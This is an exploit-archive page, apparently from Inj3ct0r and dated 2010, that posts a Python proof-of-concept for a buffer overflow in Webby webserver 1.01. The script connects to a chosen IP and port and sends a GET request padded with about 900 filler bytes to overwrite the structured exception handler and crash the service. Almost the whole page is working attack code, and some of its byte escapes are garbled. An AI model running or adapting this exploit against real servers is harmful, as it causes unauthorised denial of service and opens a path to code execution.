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Webby webserver SEH control (0day) PoC

Posted on 25 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Webby webserver SEH control (0day) PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================
Webby webserver SEH control (0day) PoC
======================================


#!/usr/bin/python
 
##POC details:
##
##SEH overwritten
##
##contact:  m1k3@m1k3.at
##      http://www.s3cur1ty.de
 
##App detail:
##
#http://www.shareware.de/webby-webserver/
#Version        1.01
#Autor      Timo Gaik
#Lizenzart  Freeware
#Plattformen    Win XP, Win 98, Win ME
#Letztes Update 19.10.2004
#Dateigroesse   701 KB
 
import socket
import sys
import os.path
import time
 
if len(sys.argv) &lt; 2:
    print &quot;Usage: webby.py &lt;IP-Adr&gt; &lt;port&gt;&quot;
    sys.exit(0)
 
ips = sys.argv[1]
port = int(sys.argv[2])
 
string = &quot;A&quot;*790
string += &quot;x90&quot;*4 
string += &quot;x42&quot;*105       
 
method = &quot;GET&quot;
print &quot;starting POC for:&quot;, ips
print &quot;&quot;
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    connect=s.connect((ips, port))
except:
    print &quot;no connection possible&quot;
    sys.exit(1)
 
payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0x0dx0ax0dx0a'
 
print &quot;
sending payload&quot;
print &quot;

using methode %s with buffersize of: %s&quot; % (method,str(len(string)))
print &quot;...&quot;
 
print payload
s.send(payload)
print &quot;finished kicking method %s with payload %s&quot; % (method,payload)
print &quot;... the service should be crashed ... check SEH&quot;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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